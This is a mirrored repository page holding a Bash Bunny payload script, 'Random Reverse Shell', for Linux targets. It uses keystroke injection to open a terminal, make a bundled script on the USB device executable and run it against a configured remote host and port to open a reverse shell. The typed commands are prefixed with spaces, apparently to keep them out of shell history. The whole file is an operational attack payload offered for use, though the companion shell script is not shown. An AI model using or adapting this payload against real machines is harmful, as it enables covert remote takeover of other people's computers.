mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
1) Checks the availability of binaries on the system. 2) Builds a list of possible payloads. 3) Performs one at random.
85 lines
1.6 KiB
Bash
85 lines
1.6 KiB
Bash
#!/bin/bash
|
|
#
|
|
# Title: Random Reverse Shell
|
|
#
|
|
# Description:
|
|
# 1) Checks the availability of binaries on the system.
|
|
# 2) Builds a list of possible payloads.
|
|
# 3) Performs one at random.
|
|
#
|
|
# Author: TW-D
|
|
# Version: 1.0
|
|
# Category: Remote Access
|
|
# Target: Linux
|
|
# Attackmodes: HID and STORAGE
|
|
#
|
|
# TESTED ON
|
|
# ==========
|
|
# Ubuntu 20.04.4 LTS x86_64 (Xfce)
|
|
#
|
|
# STATUS
|
|
# ===============
|
|
# Magenta solid ................................... SETUP
|
|
# Yellow single blink ............................. ATTACK
|
|
# Yellow double blink ............................. STAGE2
|
|
# Yellow triple blink ............................. STAGE3
|
|
# Yellow quadruple blink .......................... STAGE4
|
|
# White fast blink ................................ CLEANUP
|
|
# Green 1000ms VERYFAST blink followed by SOLID ... FINISH
|
|
|
|
######## INITIALIZATION ########
|
|
|
|
readonly BB_LABEL="BashBunny"
|
|
readonly REMOTE_HOST="127.0.0.1"
|
|
readonly REMOTE_PORT=54424
|
|
|
|
######## SETUP ########
|
|
|
|
LED SETUP
|
|
|
|
ATTACKMODE HID STORAGE
|
|
GET SWITCH_POSITION
|
|
udisk mount
|
|
|
|
######## ATTACK ########
|
|
|
|
LED ATTACK
|
|
|
|
Q DELAY 7000
|
|
Q CTRL-ALT t
|
|
Q DELAY 5000
|
|
|
|
LED STAGE2
|
|
|
|
Q STRING " cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/"
|
|
Q ENTER
|
|
Q DELAY 1500
|
|
|
|
LED STAGE3
|
|
|
|
Q STRING " chmod +x ./random_reverse-shell.sh"
|
|
Q ENTER
|
|
Q DELAY 1500
|
|
|
|
Q STRING " \$BASH ./random_reverse-shell.sh ${REMOTE_HOST} ${REMOTE_PORT}"
|
|
Q ENTER
|
|
Q DELAY 3000
|
|
|
|
LED STAGE4
|
|
|
|
Q STRING " exit"
|
|
Q ENTER
|
|
Q DELAY 1000
|
|
|
|
######## CLEANUP ########
|
|
|
|
LED CLEANUP
|
|
|
|
sync
|
|
udisk unmount
|
|
|
|
######## FINISH ########
|
|
|
|
LED FINISH
|
|
|
|
shutdown -h 0 |